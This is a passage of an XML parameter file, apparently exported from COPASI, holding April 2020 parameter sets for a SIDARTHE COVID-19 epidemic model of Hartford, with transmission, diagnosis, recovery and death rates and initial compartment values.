<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999999978" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_27" name="Model3 - 4/13">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_27">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-14T00:25:47Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0014175635309939" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572661.9967305427" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0018518935272553" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="3.9247524117242998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.78495048234485998" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.39247524117242999" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.19623762058621499" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254921" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254921" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.0099999999999997782" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="0.12286023013523435" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="3.4003008963406565" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515151515221" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515151515221" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.3479907562868364" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="3.4003008963406565" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999999978" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.032311438336582447" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3.0032694570582494" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3.0032694570582494" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="3.5963793277132057" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="3.5963793277132057" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="0.28437538165038634" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.49950590780198861" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.15731143833658223" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.1673059874500553" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="1.0985503571491589e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="1.0985503571491589e-06" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="2.1971007142983179e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="5.4927517857457946e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999999999999978" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.93874327254212764" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="4.5197518823117049" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.010018518935272331" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.93874327254212742" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.0985503571491589e-06" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="2.1971007142983179e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.0985503571491589e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="5.4927517857457946e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254921" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0099999999999997782" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.032311438336582447" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="3.4003008963406565" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="3.4003008963406565" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.12286023013523435" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.3479907562868364" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.12499999999999978" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_26" name="model3 - 4/14">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_26">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-14T00:25:47Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="3.0936435441244137" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.61872870882488273" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.30936435441244137" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.15468217720622068" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254899" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254899" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.03343687362141326" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.4260095446613192" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.4260095446613192" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.19499649242003383" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.19499649242003383" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.34636706403087986" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.4260095446613192" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.033306191437466409" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.6220879760338685" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.6220879760338685" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.6544429107027665" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.54136355645091372" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.15830619143746641" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.1888241070512511" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="8.6592041070864843e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="8.6592041070864848e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.7318408214172969e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="4.3296020535432421e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
